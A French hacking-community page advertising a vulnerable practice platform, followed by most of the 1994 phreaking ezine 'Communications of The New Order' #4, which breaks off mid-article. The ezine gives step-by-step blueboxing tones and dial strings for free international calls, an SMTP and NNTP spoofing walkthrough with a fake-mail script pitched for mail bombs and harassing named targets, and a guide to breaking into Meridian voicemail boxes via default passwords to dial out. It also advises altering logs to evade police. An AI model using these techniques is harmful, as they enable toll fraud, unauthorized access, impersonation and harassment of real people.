Plateforme de Hacking est une communauté faisant évoluer un système de services vulnérables.

Nous apprenons à exploiter de manière collaborative des solutions permettant de détourner les systèmes d'informations.
Cet apprentissage nous permet d'améliorer les technologies que nous utilisons et/ou de mieux comprendre l'ingénierie social.

Nous défendons les valeurs de l'entraide, du challenge personnel et contribuons modestement à rendre l'expérience des utilisateurs finaux la plus agréable possible.

Vous pouvez nous rencontrer via notre salon irc.
Le forum est en cours de remplacement par une version plus moderne, et tout aussi faillible que l'ancien ^^.
A ce jours nous enregistrons plusieurs dizaines de hack réussi contre notre site, et ce chiffre est en constante évolution. Merci a tous les contributeurs!

La refonte est en version alpha. Cette nouvelle plateforme permet de pentester à distance sans avoir son matériel à disposition.
Via l'exécution de scripts python connecté en websocket à l'ihm web, nous pouvons piloter le chargement de scénario
d'attaque/défense en "multijoueur" ^^.
Le système permet de charger des scripts de bibliothèques partagées et de chiffrer les échanges selon les modules déployés.
Vous trouverez dans la rubrique article de nombreux tutoriels afin de mieux comprendre la sécurité informatique,
ainsi que différents articles plus poussés.
  • Sniffing
  • Cracking
  • Buffer overflow
  • Créations d'exploits
  • Social engineering
  • L'anonymat sur le web, spoofing
  • Bypass-proxy, Bypass-firewall
  • Injection de code SSI, SQL, etc...
  • Utilisation d'exploits, création de scripts(php, irc, perl)

Nous vous recommandons de sniffer votre réseau lors de votre navigation sur le site. La refonte vous fournira un outillage pour réaliser vos attaques/défenses.

Vous pourrez également participer à de nombreux challenges
Dernièrement, les missions relativent aux derniers produits open sources marchent bien :)

Votre ultime challenge sera de défacer HackBBS. De nombreuses failles sont présentes. A vous de les trouver et de les exploiter.

Cet ultime test permettra de constater votre réactions face à une faille.
Black ou White? ^^

Ezine du moment: cotno04.txt
       ______         ______     _____________      ____      ___     ______
      /  ____|\      /      \   /____    ____/\    /   | \  /   / |  /      \
    /  /  ____\|   /   __    |\  \_/   /\____\/  /     |  /   /  / /   __    |\
  /  /  /        /   /__/   /  | /   /  /      /   /|  |/   /  / /   /__/   / |
/  /__/______   |         /  / /   /  /      /   /  |     /  /  |         /  /
|____________|\ |\_____ /  / /__ /  /      /___/  / |___/  /    |\_____ /  /
|_____________\| \|____| /   \__\ /       |___ |/   |___|/       \|____| /

				  /    \ --- 
				/        \   \ __  
			      /     /\     \   \  \   
			   _/______|_/    /   /   / \  
			  |          |  /   /   /  / 
			  |    ---\( |/   /   /  / 
			  |         \|\(/\(/ \(/    
			  |                   |   
			  /                  /
			/    \             /
		      /         \     ___/

		  Communications of The New Order 
			    Issue #4
		       Spring/Sumer 1994

	      "Fuck you I won't do what you tell me!"
			   -Rage Against The Machine

      Special Thanks: Kilslug, Kingpin & RDT Syndicate, Loxsmith, 
      Erikt, Gatsby, Maelstrom & PHaTe dudes, Phreddy & the 414's, 
      Dark Tangent, Kryptic Knight, and very special thanks to our 
      friends at the ACM. 

      Good Luck To: Deathstar, AntiChrist, Coaxial Mayhem, Maestro, 
      Lucifer, Grappler, Mystic Ruler, Jimbo, John Falcon, Karb0n, 
      Nuklear Phusion, Pather Modern, The Public, and any other 
      victims of Operation SunDevil '94. 



Welcome to Communications of the New Order issue #4, DefCon II release.  This    
is being written in the car as we cruise through the Rockies on the way to
Vegas.  Agent 866, Remj, and myself are rockin' out to Testament and we just
entered the Eisenhower tunnel.  I guess we're really in the 'underground'
now!  I will write the conclusion on the way back and give you a report on
the 'Con.  With that out of the way, lets get busy.

CoTNo is a 'zine of the computer underground of the 1990's.  It is written
for H4Qu3r's and pHR3aCK3r's of intermediate to beginning experience.  All
the information published herein is as accurate as possible and pertains to
techniques and devices that actually work.  We do not publish any article
that is not of an H/P nature.  If you wish to comment on or contribute to 
CoTNo, email us at, or catch one of us on
the iRC or try to catch us in your local Telco dumpster.


I have convinced myself that there is a conspiracy at work and we are
all deeply involved.  The government, primarily the Secret Service, plays
an active role tracking and eliminating the top phone phreaks in the USA 
(as well as other countries).  I believe that they have infiltrated the p/h
scene, and are clumsily masquerading as our friends to track our activities. 

In short, the feds have formed a war party.

I have come to this conclusion from the facts which are available to us.
Here is a list of the primary indicators as I see it.

1.  Over a dozen top phone phreaks have been eliminated by their local
    law enforcement in Canada, US, and UK in the last four months.

2.  All of these phreaks were aquaintances of each other.

3.  All of these phreaks were active on the IRC, especially #phreak.

4.  Almost all of them were members of Flatline BBS.

5.  Most of them were affiliated with TNo, PHaTe, or other various groups.

6.  Although the phreaks were brought down by local law enforcement, the 
    Secret Service and/or the Air Force OSI participated as consultants.

These facts appear to point rather strongly at a world-wide crack down on
the well known phone phreaks.  I believe that it is an organized effort
which is being orchestrated by the U.S. Secret Service and/or other Federal

In short, I believe we are witnessing Operation SunDevil part two.

It seems to me that the only way the Feds could be gathering so much
information is through a well planted enforment.  From the available facts,
it would seem that these informants are active on the IRC, are members of 
various top H/P BBS's (ie. Flatline and Maestros' board), and were aquainted
with P/H groups such as PHaTe and TNo, at least in passing.

In short, there is a narq running loose among us.

I can personally vouch for all past and current members of TNo, but there
were almost 100 members of Flatline.  Likewise, #phreak sees a lot of
activity and the narq is almost certainly active on the IRC.

Now for the questions and my opinions of the most probable answers to
those questions.

Q.  If this is an organized bust, why has there been no publicity?
A.  The feds are not finished with their investigation and publicity would
    cause their targets to go underground.  Publicity could also possibly
    compromise there infomant.

Q.  Why have these particular phreaks been targeted?
A.  These phreaks were very well known because of both their high level
    of activity and their flagrant publication of phreaking magazines and
    information.  This group of phreaks was highly organized and were
    helping to train younger phreaks.  The government may be trying to 
    make an example out of the top phreaks in order to scare off the up
    and coming phreaks and hackers.

Q.  Who are the Feds targetting next?
A.  I believe they will continue to hunt down the top writers and activists
    in the scene.  If they can remove the leaders and teachers of the scene
    they will be able to effectively destroy it.

Q.  What should phreaks do to protect themselves?
A.  If you are active in the scene and wish to remain so, I suggest that you
    encrypt or destroy all of your notes and P/H material.  I suggest you 
    be very careful about what you say and do on the IRC.  If you run a BBS, I
    suggest you screen your users very carefully or not take on any new
    users for a while.  If you are attending any cons this year, I suggest
    you be careful of who you associate with.  When you phreak or hack, always 
    use diverters and carefully modify the logs of any machine you visit.  In
    other words, a little paranoia can go a long away.

In short, be careful.

  Table of Contents
   1. Introduction.............................................DeadKat
   2. Blueboxing in '94........................................Maelstrom
   3. Mail and News Daemon Hacking.............................Remj
   4. A Guide to Meridian Mail.................................DeadKat
   5. UNiX Defaults 2.0........................................TNo 
   6. The Complete Guide to Trashing Fax Machines..............Coaxial Mayhem
   7. Retail Skamming..........................................Disorder
   8. The Complete Datapac NUA List............................Deicide
   9. Unpaid Advertisement.....................................Corrupt Sysop
  10. Elite Music III..........................................John Falcon
  11. Conclusion (DefCon2).....................................DeadKat


			 -=- Blueboxing in '94 -=-
			  - (C5 for the masses) -
			-=- by Maelstrom/PHaTE! -=-

Well, I've been promising DeadKat an article since COTNO #1, and was
searching frantically for a subject that I could write a useful/informative
article on...having failed dismally in my quest, I decided to turn my
attention to a beginners guide to present day blueboxing.  This article
will only deal with the practical uses of CCITT 5 (C5) signalling systems,
and NOT with the more advanced systems such as R2.  Becoming familiar with
C5 signalling will provide you with a good grounding in blueboxing,
therefore making understanding a guide on a future system easier.  And so
to the main text...

"You just blast 2600hz right?"

No.  All too often when blueboxing is mentioned in the context of actually
doing it today, some dolt pipes up with this.  Treasure your old Mark Tabas
files, for they contain some excellent information even today, especially
concerning routing codes, but forget all about the R1 signalling described
within his 'Better Homes and Blueboxing' guide.  The system we are
concerned with today is C5, so swiftly clear the limited space available in
your mind.  The first point I would like to make is that you will NOT be
siezing trunks within your own country.  The focus of your attentions will
be those 1-800 wonders known as 'Country Direct' numbers, which will
connect you to the telephone system of some far-off nation for the princely
sum of $0.00.  While these are certainly not the only countries you should
experiment with, South American and Asian countries are usually the best
bet for a C5 connection that you can seize.  From nearly all European
locations it is possible to bluebox over Chile for example, and lines to
Columbia, the Philipines, Taiwan and Thailand are also often C5 connections
to your country.  While these provide a good starting point for your
adventures with C5, don't restrict your attempts to only the aforementioned
places...You never know what you might find...

"So, uhh, what next?"

After dialling a country direct number to a country on C5, you will usually
hear a very audible 'chirp' (some may choose to call it a 'ping' even...)
when the line is picked up.  This is the moment to start sending the tones
required to manipulate the line for your purposes.  A few countries using
C5 may not give you a 'chirp' when your call is connected, but when the
call is disconnected.  Before you can start to signal your call, you will
need to 'sieze a trunk'.  To do this you send a compound signal of 2600hz
and 2400hz for approx. 150-450ms.  On sending this signal the line should
respond with a sound similar to the one you heard when your call to the
country direct was completed.  Next you send a 2400hz signal, usually for
approximately the same length of time as the first compound signal.  The
delay between these two tones is often crucial, so experimentation is
essential.  There are no concrete rules for siezing a C5 line, although I
usually use 150ms length for both tones as a starting point.  If playing
the first tone leads to immediate disconnection then decrease the length of
the tone - if the opposite is the case, and the line ignores your first
signal, then increase its length (personally I use steps of 10ms but feel
free to jump up 50ms if you feel the urge).  BillSF of HackTic Holland
informs me that newer C5 systems nearly always require timings of 150ms per
signal +/-20ms, and with an inter-signal delay of 10/20ms, and I have also
found this to be true.  When you have successfully gained control of the
line, you will have by this time heard two acknowledgements from the line,
one per signal sent.  At this point you are ready to begin signalling your
call.  The first digit you must dial is the KP1 or KP2 signal.  This
determines that the call is either terminal (local), or transit
(international) respectively.  An international call is usually what we
want, so we send the following dialstring: KP2+countrycode+0+acn+ST.  For
example, if we wanted to dial the Colorado office of the Secret Service, we
would send KP2+103038661010+ST.  If we wanted to place a call to a number
in a European country then the dialing format is identical.  This is the
correct dialing format in accordance with all the technical CCITT 5 texts I
have read, but not always the correct method in practice.  Macao (country
code 853) was long known to be breakable from the United Kingdom before
anyone figured out that the correct routing was
KP2+00+countrycode+number+ST, so again the key word is experiment.  Not all
countries will 'play fair' in terms of their accepted routings.
	To place a call to within the country you are calling couldn't be
simpler however.  The correct format is KP1+0+number+ST, and I have never
found any nation deviating from this template.  One interesting route to
note at this point is KP1+2+Code11+ST (see freq. list for Code11), which
will nearly always connect you with the inward operator in the country
whose country direct number you have dialled.  Lots of interesting
information may be gleaned from a conversation with these operators, such
as correct routings, and most operators are more than willing to furnish
you with the routings for their technical assistance/engineering
departments, who will further assist you, often to the point of telling you
the exact timings you require.  Remember that their equipment is telling
them that you are an operator, so feel free to spin any suitable yarn about
testing international connections etc., and also bear in mind that in 99%
of cases the operator's limited grasp of the english language is in your
	Also, be prepared to try other digits in place of 0 between ccode and
number in the dialstring for a transit call.  KP2+ccode+2+number+ST will
usually work for example, and in some cases is the only way to route the
call (the country direct to Taiwan from the UK was a good example of this).
The digits 0,1,2 and 9 are the only ones I have found to be acceptable in
this way, but I wouldn't discount the possibility of being able to use
others over some nations.

"It doesn't work?"

Then you're doing something wrong.  Not all countries will allow you to
place transit calls over their lines so if you really have experimented
with that line and had little or no success then move on, there's no real
shortage of country direct numbers on C5...  You might want to try sending
a short burst of 2400hz previous to breaking/siezing the trunk to 'free'
the transit lines.  I have found this to be neccessary on the country
directs from the UK to Brazil and French Guiana in order to place a transit
call successfully.  Another thing to bear in mind is the fact that the
country you are trying to (ab)use may only call: a) Countries in close
proximity, and/or b) One or two countrycodes.  This is true of certain
lines in Canada, and also of most South American C5 links to the UK.  Trial
and error is the only way to establish if this is the case on any given

"D3Y M0Ni+0R D3 LiN3Z" & "They have 2600hz detectors you know..."

Well, what can I say?  You never make use of a pure 2600hz tone, so even if
it IS filtered/detected you don't have to worry.  The most obvious way I
can see of being detected blueboxing is to make 10hrs of international
calls per day over whichever 1-800 direct you're using.  Very few telco's
are going to ignore 140 calls/day to Guyana Direct per month.  Use your
common sense to avoid detection, that's it.

   CCITT 5 Signalling frequencies
Digit                       Freqs

  1                              700 & 900  hz
  2                              700 & 1100 hz
  3                              900 & 1100 hz
  4                              700 & 1300 hz
  5                              900 & 1300 hz
  6                             1100 & 1300 hz
  7                              700 & 1500 hz
  8                              900 & 1500 hz
  9                             1100 & 1500 hz
  0                             1300 & 1500 hz
 KP1                            1100 & 1700 hz
 KP2                            1300 & 1700 hz
 ST                             1500 & 1700 hz
 C11                             700 & 1700 hz
 C12                             900 & 1700 hz

(These are the C5 signalling frequencies I use nearly every day, so if you
spot an inaccuracy in the above frequency set you are cordially invited to
blend your phallic muscle...)

Now to the timings.  All the normal digits (0-9) should be 55ms in length
and have a 55ms delay in accordance with the technical specificiations
laid out in the CCITT manuals.  However, in practice these timings may be
decreased to as little as 30ms per digit, perhaps even less in
exceptional cases.  The command and operator digits (KP1/2, ST, C11/12)
are usually 100ms in length, with the delay the same as that set for the
normal digits.  Certain South-American countries that I have (ab)used have
required that the command digits, more specifically the KeyPulse signals
and the ST, be much shorter than this, although usually still with a length
longer than that of digits 0-9.

End note.

That's all folks.  If you don't know how to produce these tones then you 
shouldn't really be reading this - go read your SimCity 2k docs...
If anyone has any questions regarding anything contained in the above text, 
or indeed any C5 queries, you can mail me at: or if you're 
lucky you can catch me on IRC in #phreak.  If there's any interest I might
even write a sequel to this rather hurried guide...
QUICK NOTE: This author of this article is Scottish, and as such I have 
used correct English spellings rather than the American versions...8)...
DEDICATION: This article is dedicated to Coaxial/PHaTE, who has had a 
rather torrid time of it lately (legally...).  Good luck and I hope 
everything works out for you.                                         



		   --==[Mail and News Daemon Hacking]==--
			|                           |   
			|     By Remj for CoTNo     |
			|                           |
			|    Fuck The Government!   |
			|                           |
			--==[ CoTNo CoTNo CoTNo ]==--



A mail daemon is a program that is started up every time a unix
machine boots, which handles all mail.  It sits and listens for connections on
port 25.


When you send mail to a site, it gets sent to its destanation by a mail daemon.
Say you were to send mail to You'd type your message and save 
it. The message gets sent over the internet through the mail daemon, running 
on port 25. It is received by the mail daemon running on taylor (port 25) and 
gets stored in the /usr/spool/mail/root file. 


When sending fake mail through a daemon, I suggest doing it from a university 
or a public place where you can use anonymous telnet. Some newer mail daemons
can be traced, but most can't. 

Here is a list of some older untraceable mail daemons: 

Ok, time to hack.

Command Breakdown and Reference:

Helo     - This line will just wake up the
					  mail daemon. Don't ask me why.

Mail From:     - This line will make the mail from

Rcpt To:                  - This line will send the mail to 
					  what ever you enter.

data                                    - This line will let you enter the 
					  message. End with a "."

quit                                    - Will quit and send the message.

help                                    - Help


YOU> what you type.
MD> output from the mail daemon.

YOU> log into your unix account. 
YOU> telnet to IP address 25

MD> Trying
MD> Connected to
MD> Escape character is '^]'.

MD> 220 (EP/IX Turbo Sendmail) Service ready

YOU> helo

MD> 250 G'day!

YOU> mail from: 

MD> 250 Sender ok

YOU> rcpt to:  

MD> 250 Recipient ok

YOU> data

MD> 354 Enter mail, end with "." on a line by itself

Here you would enter the message..

YOU> fuck you CERT b1tcH!@ I GH0tZ y0 inF0!2
YOU> .   

250 Message received and queued
YOU> quit

Now the the "mail from:" line can be changed to anything you wish,
so can the rcpt to line. This is a great way to send out anonymous flames 
and/or mail bombs. 


# from

From Mon Jan 24 18:56:10 1994

# mail

Message 1/1  From           Jan 24 '94 at 7:56 pm -360

Date: Mon, 24 Jan 94 19:56:44 -0600

fuck you CERT b1tcH!@ I GH0tZ y0 inF0!2


That's a breakdown of sending fakemail.  There are a dozen or so scripts that 
will automatically send fakemail for you, which are relatively easy to find.  

Now, on to a CoTNo exclusive...



The news daemon is the part of a unix's machine port which handles the UseNet 
news. These do not exist on every machine, only news servers. To read news, you
type trn -q from your unix prompt, which telnets to the news server on port 119
and communicates with it using the commands listed below.


There are a variety of useful things you can do with this, such as mail bombing 
(post a message on alt.test), posting someone's info or e-mail address on a gay
newsgroup, add an e-mail address to a mailing list, or just post to all the 
news groups and make the helpless idiot look like a lamer.

Following below is a capture of the fakenews process.

NOTE: commands that you type are denoted by an asterisk (*) to the right of the
command, with comments in brackets.

bvsd% telnet 119 (*) [telnet to the news server on port 119]

Connected to
Escape character is '^]'.

200 lace NNTP server version 1.5.11 (10 February 1991) ready at Fri Feb 18 15:31:46 1994 (posting ok).

help (*)                            [list commands]

100 This server accepts the following commands:
HEAD        LAST         LIST
NEXT        POST         QUIT

Additionally, the following extention is supported:

XHDR        Retrieve a single header line from a range of articles.

Bugs to Stan Barber (Internet:; UUCP: ...!bcm!nntp)
group alt.test    (*)             [choose the newsgroup that you want to post to]
211 999 66874 67886 alt.test

post (*)

340 Ok
Newsgroups: alt.test (*)  [at least one of the newsgroups that you enter in 
			   here must match the newsgroup that you put in 
			   under the 'group' command.  If you want to post
			   on more than one newsgroup, separate newsgroups by
			   a comma.]
From: (*)  [the person you want the news to 'come 
Organization: the #warezz dude. (*) [insert anything here.]
Distribution: world (*)             [use 'world' so everyone can see it.]
Subject: did this get to you? (*)   [insert anything here.]

Hello all!  I've been having some troubles lately with my rn command.  Please 
write reply privately to if you can see this! Thanks a bunch-
The CERT Team.

. (*)                              [when you are done type a period.]    
SAVE (*)                           [save the message.]

NOTE: if you pulled this off correctly, it will respond with:

240 Article posted successfully.

500 Command unrecognized.

Now, simply type:

quit (*)

205 lace closing connection.  Goodbye.
Connection closed by foreign host.

In 20 or so minutes the post will show up on the newsgroups, 
and the bots the continously check the base will respond with an automatically
generated test receipt.  The guy will recieve abundant amounts of 'interesting'


Mail version 2.18 5/19/83.  Type ? for help.
"/usr/spool/mail/root": 2 messages 1 unread
>U  1 Fri Feb 18 15:35  54/1748 "Automatic reply to your test "
& 1
Message  1:
From: Fri Feb 18 15:35:20 1994
Received: from ( []) by (8.6.5/8.6.5/CNS-3.0) with SMTP id PAA16902 for ; Fri, 18 Feb 1994 15:35:18 -0700
Message-Id: <>
Received: from by 
	  id <>; Fri, 18 Feb 1994 23:35:17 +0100
Subject: Automatic reply to your test post
Date: Fri, 18 Feb 1994 23:35:17 +0100
From: IFI Distribution Lists 
Status: RO

Greetings from the University of Zurich, Switzerland!

Your fascinating posting with subject

"did this work?"

showed up over here in newsgroup alt.test on

Feb 18 23:27 MET 1994.

(Replies to this automatically generated e-mail will be discarded.
 Direct problems/comments to

If you would rather not see these automatic responses, please include the
text "ignore" or "no reply" anywhere in future test postings.

Here the first 20 lines of your posting:

Newsgroups: alt.test
Path: josef!!!!!!!agate!boulder!news
Subject: did this work?
Sender: news@Colorado.EDU (USENET News System)
Organization: the #warezz dude.
Date: Fri, 18 Feb 1994 21:30:36 GMT
Lines: 3

did this work?



BTW: Technical reports from the University of Zurich
are available for anonymous ftp in []: pub/techreports.

#! /bin/csh -fB
### This is a simple shell script for easy use of anonymous mail.  To run the
### program just save it and delete everything up until the #! /bin/csh -fB
### line.  Then just type the name you save it as or the name and whoever
### you will be mailing.  e.g.  amail or just amail.
if ($1 != "") then
   set mto=$1
   echo 'To: '
   set mto=$<
echo -n 'From: '
set mfrom=$<
echo -n 'Use which host for smtp (return for '`hostname`') ? '
set usehost=$<
echo -n 'Use which editor (return for vi)? '
set editor=$<
if($editor =="") then
   set editor=vi
if ($mfrom == "") then
   set mfrom=`whoami`'@'`hostname`
echo 'helo amail' >> tmpamail1
echo 'mail from: '$mfrom >> tmpamail1
echo 'rcpt to: '$mto >> tmpamail1
echo 'data' >> tmpamail1
$editor tmpamail2
echo -n 'Are you sure you want to send this? '
set yorn=$<
if($yorn == 'y') then
   echo . >> tmpamail2
   echo quit >> tmpamail2
   cat tmpamail2 >> tmpamail1
   telnet $usehost  25 < tmpamail1 > /dev/null
   echo 'Mail has been sent to: '$mto
   echo '                 From: '$mfrom
rm tmpamail1 tmpamail2
#end script


		(*)                                 (*)\
		(*)     A Guide to Meridian Mail    (*)\ 
		(*)                                 (*)\
		(*)           by Dead Kat           (*)\
		(*)                                 (*)\

Meridian Mail, is, in my opinion, the all mighty of the VMB systems.
I thought I would make this one about a certain VMB system that is very special
to phreakers.  This voice mail system has proved to be the easiest and most  
common way to divert that we have ever discovered.  I have the Meridian 
Release #5 User Guide so I hope this doesn't sound to technical. I will take 
whole paragraphs from it, but i'll try not to bore you with too many details. 
I will cover everything from basic options to the advanced features, such as 
the all important Thru-Dial option (Diverting).

Also, I will be taking my format from the manual.

				Logging On

1. To log in from your own phone 

	First you need to find whats called the Meridian Mail Access Number.
This number is a direct line into the Meridian's Voice mail system. It is 
totally obvious when you find one, because the automated attendent will say 

	"Meridian Mail. Mailbox?"

These so called "Back-doors" into the system answer on the first ring, so it
should not be too difficult to scan one.

	Once you discover a Meridian, you have to first scan yourself a box. 
Enter a box number, followed by #. The bitch will then say "Password?", use 
the box number as the default password. For example: Box 1234# - 
Password 1234#. Use a # after both the box number and the password. Once you 
have found a box; be it empty or used, you are now logged on to Meridian Mail. 
The first thing that will be heard is a description of new or unsent messages, 
or maybe it will say you have no new messages at all. You can press 83 to log 
off when you want.

2. To log in after leaving a message

	After you have called a Meridian Mail user and have left that person 
a message, you can log into your own (hacked) box without calling back the
Meridian Access number. 
	Just press # to indicate you have finished recording. Then press 81
and you will here "Mailbox?". You can now log into your mailbox as usual.

3. Autologon/Autoplay

	The system administrator can enable Autologon and Autoplay.
With Autologon, you can log in by simply dialing the Meridian access number.
The Mailbox and password do not have to be entered. This is for time saving 
purposes and can be used when phones are in a secure location. (This can only
be done from that extension in the buisness.. too bad huh?) With autoplay, all
new messages are automatically played, in sequence, after logon. (I have come
across a shitload of boxes that have this option, and it's annoying but not a

			     Recorded Greetings

	For legitimate users of Meridian Mail systems, they give an option to
have one of two greetings: An external greeting for callers outside the 
organization, or an internal greeting for callers within the organization.
Oh sure, you can change these greetings if you want, but the only one worth
anything is the external greeting. I would actaully recommend leaveing the 
internal greeting either the way it was or have nothing recorded on it at all.

1. To record external and internal greetings

	Press 82. (withing the box)
You will here "For your external greeting press 1. For your internal greeting
press 2." Enter the appropriate number. Then you'll here, "(External/Internal)
greeting. To review the greeting, press 2. To re-record it, press 5. To exit, 
press 4." Press 5. Wait for the tone, then speak. When you are done recording 
press #. "Recording Stopped." To listen to what you have just recorded you can 
press 2. "Start of Greeting. (Greeting.) End of greeting." When you feel
satisfied with the greeting, press 4 to go to another activity, or hang up.

2. To delete a greeting

	Press 82 "For your external greeting press 1. For internal press 2."
Again, enter the appropriate number, followed by 76. "(External/Internal) 
greeting deleted." If your internal greeting has been deleted, your external
greeting will be played to all callers. If you have no external greeting, the
standard greeting will be played.

			  Changing your Password

	You can change your password as many times as you like, provided you
don't repeat your most recent ones, since Meridian Mail keeps track of up to
nine of your previuos passwords. But the sysadmin can change this to whatever 
number he wishes.

	Press 84. "Password change. Please enter your new password followed by
number sign." (Thats a # in case you didn't know). If you decide not to change
your password after you already hit 84, and before entering any new numbers, 
just hit #. When you do change your password it will ask you this, "Please
enter your new password again, followed by number sign." ,or, " Your
password must be 4 to 16 digits in length. Leaving password change."

	This is pretty straight forward. As always I recommend changing the
password on any box you hack that is empty, because there's always those 
moron new wanna-be VMB studs that think they're bad-ass when they hack your 
box. But what they also end up doing is hacking the whole system and 
eventually changing a password on a valid box, which then tips of the 
sysadmin that he's been hacked.. and the whole system goes down. Oh well, 
thats life in the lame world of VMB's, as you'll soon come to find out.

			  Personal Verification 

	The Persoanl Verification is a recording of your name used by the 
system inplace of your mailbox number. A Personal Verification is basically
a very short recording of possibly your name and box number. When someone 
enters an incorrect mailbox number to address a message, hearing the name
associated with that box can reveal an error if they misdialed the box number.
But as always it's comes down to whether the sysadmin has activated this option
or not. But to do it:

	Press 89. "The Personal Verification is (Name)." or "There is no name
for Personal Verification of mailbox (number)." Then press 5, wait for the 
tone and speak your name. To stop recording press #. It will repeat what you
have just recorded. When you're done you can hang up or go to another option.

			  Playing your messages

	In this section I'm just going to make a diagram of the options that
can be done when you want to play or delete messages. 

To...                         Press...              You Hear...
play the message                2                   "Start of message" Message 

go to next message              6 (also to scan)    "Description of message"

go to previous message          4                   "Description of previous"

go to a specific messages       86+Message #+#      "Description of message"

pause during playback           #                   "Playback stopped"

to continue from the pause      2                   (Message just resume's)

skip backwards 5 seconds        1                   (earlier part of message)

skip forward 5 seconds          3                   (later part of message)

delete the message              76                  "Message (number) deleted"
						    (description of next msg)
restore deleted message
(within the current session)    76 (go to deleted   "Message (number) restored"
				    message first)  (description of next msg)

to get more info about the      72                  (detailed description of
specific message                                     message)

			  Attendant assistance

	There are two options to the attendant assistance feature. You can 
talk to the Meridian Mail attendant if you need assistance of information on
something your having trouble with. I probably wouldn't do this with your 
hacked box, because the attendant may recognize that your voice isn't the real
owner of that box. I haven't tried it and probably won't, because after this
submission you shouldn't be having to ask any questions.
	Anyway, you can also reach your telephone system attendant (PBX op)
if need be. I probably would not do this either. Again, this option must
be activated by the sysadmin of the Meridian Mail system, unlike the first 

1. To speak to the Meridian Mail Attendant

	Press 0#. You are the disconnected from Meridian Mail. The Attendant
will answer if he or she is there.

2. To speak to the telephone system attendant

	Press 00#. Your call to the Telephone system attendant is then placed.

	The reason behind disableing the second feature is this, if the PBX 
operator did answer you could place a call wherever you wanted to. It would 
be a diverter (which I will get into in a second), so these tend not to be 
activated through the box because if the person works there he can just dial
directly from his phone on his desk. Most sysadmin's know of phreakers, so
they disable this, but don't hesitate trying it if all else fails.

	The thru-dial, ahh yes, as said before this is the core to this VMB
system for the phreaker and hacker. This is what saves our ass from getting
caught. At any time while using Meridian Mail, you can make an internal or
external call without disconnecting from the system (again the sysadmin has
to activate this feature). And even if it is activated the sysadmin may have

	To dial-out. Press 0 followed by the number you want. Do not pause 
for more than two seconds after pressing 0, or you will be connected to the
attendant. If a pause is needed (for example, after dialing a digit to get an
external line or for use of a pager), enter a * where the pause is needed, 
then enter the rest of the number. To dial someone by name, enter the name
dialing prefix (usually 11), then spell the last name, followed by the first
name. Name dialing will be discussed later on. Anyways, when you have finished
entering the number press #. Your call has been placed. When you're done simply 
hang up.

	I want to talk about this a little more. I have heard many people say
that there are about "6-10" ways to dial off a Meridian. No, there are only
two, and technically there aren't even two. The manual says only one, but 
I'll explain what I mean by two ways to dial out. As most people know, when
dealing with a PBX you typically have to either dial a "9" to get an outside
line before making your normal 7 or 10 digit local or LD number. Well this is
not always the case with Meridian Mail PBX's. Most often you do need to dial
a 9 but at very, very small companies where they have a Meridian PBX, a 9 to 
dial out is not needed. So when trying to dial off a Meridian Mail system,
be sure to try a 0+Number+# and a 0+9+Number+#, and to go even further try a
0+8+Number+#, because I know in 303 I have come across many systems that 
require an 8 instead of a 9 to get the outside line.

	Those are basically the only two ways to dial off a Meridian. Now I
have talked to a few people who said there more than two ways to dial out and 
I realized what they meant. I guess I shouldn't say they are wrong but to be
technical there are only two. What they were talking about is that (depending
on the sysadmin) you can use the 0+9+Number+# in many places, not just "IN"
the mail box itself. Try the 0+9 in different places before getting into the 
box. Try it when your first call and hear "Meridian Mail, Mailbox?". If the
dial out works there then there is no need to hack a box. If it doesn't, you 
still need to try that command inside the box itself. In general, if the dial 
out doesn't work inside the box basically it doesn't work at all. So snag a 
box for the hell of it.

			      The Help Service

	You can get help at any time while using Meridian Mail. The help that
you hear tells you which commands you can use, depending on where you are in 
the box.

1. To get general help

	If you are in the process of addressing or recording, press # to stop
that activity. Then press * "(This is where the help information will be said,
depending on where you are)" Then enter the command you want.

2. To get message command help

	If you are in the process of addressing or recording, press # to stop
that activity. Press 7*, "You have started to enter a message command... (list
of available commands)". Then enter the command needed.

3. To get mailbox command help

	Same as before just 8*.

			       Call Sender

	After listening to a message, you can speak immediately with the 
person who just left you the message. Unless the message is from a number that
is not part of the Meridian Mail System, that person's number can be
automatically dialed for you by the call sender feature.

	After hearing the message, press 9. "Calling (sender's extension
number, room, or name)." Talk to the sender or leave a message, then hang up.
I wasn't going to put this in because it's not really something we can use, 
but I figuered if another hacker d00d had a box on the same system you might
use this feature. Obviously you won't be able to talk to the person, but you
could leave a reply message to him.

			   Replying to messages

	When another Meridian Mail user sends you a message, you can use the
Call Sender command or you can use the reply command. With the reply command
you don't have to address the message, this is done by Meridian Mail itself.
If you recieve a message that was sent to several people, you can reply to the
message's originator alone, or use Reply All to send a response to the
originator and all other recipients.

1. To reply to the sender of a message

	After hearing the message, press 71. "Reply to (sender's mailbox 
number or name). To begin recording, press 5. To end recording, press #." When
you are ready to record your reply press 5. Wait for the tone and say you 
message. When your done press #, "Recording Stopped." If you want to send the
message then press 79, "Message sent."

2. To reply to the sender and all recipients

	Same as above but it will list all people the message is going to in
either Box number or name format. YOu can hear the list of people by hitting

			     Express Messaging

	Just thought i'd mention this in case you ever stubled on the Express
Messaging number. Like the Meridian Mail access number this to is a way into
the system. When you call it you will hear "Express Messaging. To Mailbox?"
Enter the mailbox number of the person you want. This is meant for mainly only
messages. But if you do find this number then you have a place to start.

			     Creating Messages

	Instead of calling someone and waiting for Meridian Mail to take your
message, you can use the Compose command to send messages. The Compose command
is very useful for sending messages to more than one recipient (hacker).
Press 75 "Compose. Enter a list of mailboxes." Enter the first mailbox or
distribution list number followed by the #. "(Name or mailbox/list number.)"
To remove a mailbox or dist. list number from the list, press 0# after you
entered the mailbox number. "Address (mailbox number) cancelled." Enter the
next mailbox, followed by the #, or simply press # to tell Meridiain Mail
that you're done entering all the boxes. "To begin recording, press 5. To end
recording press #. So press 5, wait for the tone the say your message. When
you're done press #. "Recording stopped." When you're done and want to send the
message press 79. "Message Sent." If for any reason Meridian Mail can't send
your message, a message called a Non-Delivery notification is sent to your

		       Creating and editing messages

To...                         Press...                You hear...
Pause during recording        #                       "Playback stopped" 

check your message            2                       "(message.)"

skip back 5 seconds           1                       "(5 sec's backward.)"

Skip forward 5 seconds        3                       "(5 sec's forward.)"

erase and re-record           5 (at the beginning     Wait for tone, re-record
				 of themessage) 
Add to the end of message     5 (at end of message)   Wait for tone, record

Re-record part of message     5 (at the place where   Wait for tone, re-record
				 you want to redo)    from that point to end
Delete entire message         76                      The message is cancelled

Get more information          72                      "Description of message"
about message

Remove last entered mailbox   0+#                     "Address (mailbox/list
or dist. list number while                             number) cancelled."
addressing a message

			     Forwarding messages

	You may receive a message that you want someone else to hear. You can 
forward the message exactly as it is, or you can record an introduction that
